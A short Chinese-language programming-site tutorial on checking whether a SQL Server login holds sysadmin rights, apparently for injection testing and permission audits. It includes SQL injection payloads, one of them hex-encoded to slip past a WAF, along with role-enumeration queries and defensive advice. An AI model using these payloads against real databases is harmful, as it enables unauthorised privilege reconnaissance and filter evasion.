首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL Server 檢測當前登入是否為 sysadmin (SA) 權限的語句

     編輯:MySQL 資料庫相關知識

在 SQL 注入測試或權限審計中,常需判斷當前登入是否擁有 sysadmin 固定伺服器角色。以下為兩種常用檢測語句:

方法一:標準函數 IS_SRVROLEMEMBER

SELECT IS_SRVROLEMEMBER('sysadmin');  -- 返回 1 表示是,0 表示否,NULL 表示角色不存在

注入測試常用 payload:

AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--

方法二:混淆繞過 WAF(十六進制編碼)

AND CHAR(124) + CAST(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) AS VARCHAR(1)) + CHAR(124) = 1 --
  • 0x730079007300610064006D0069006E00 為 'sysadmin' 的 UTF-16LE 十六進制表示。
  • CHAR(124) 為管道符 |,構造 |1| 或 |0| 再比較。

補充:查看所有伺服器角色成員

SELECT name, principal_id, type_desc FROM sys.server_principals WHERE type IN ('R','L');

或列出某角色成員:

EXEC sp_helpsrvrolemember 'sysadmin';

防禦建議

  1. 應用程式連線帳號遵循最小權限原則,嚴禁使用 sa 或 sysadmin 帳號。
  2. 啟用 SQL Server 稽核,記錄登入失敗與權限提升嘗試。
  3. 部署 WAF 並針對 IS_SRVROLEMEMBER、sp_helpsrvrolemember 等敏感函數設定規則。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved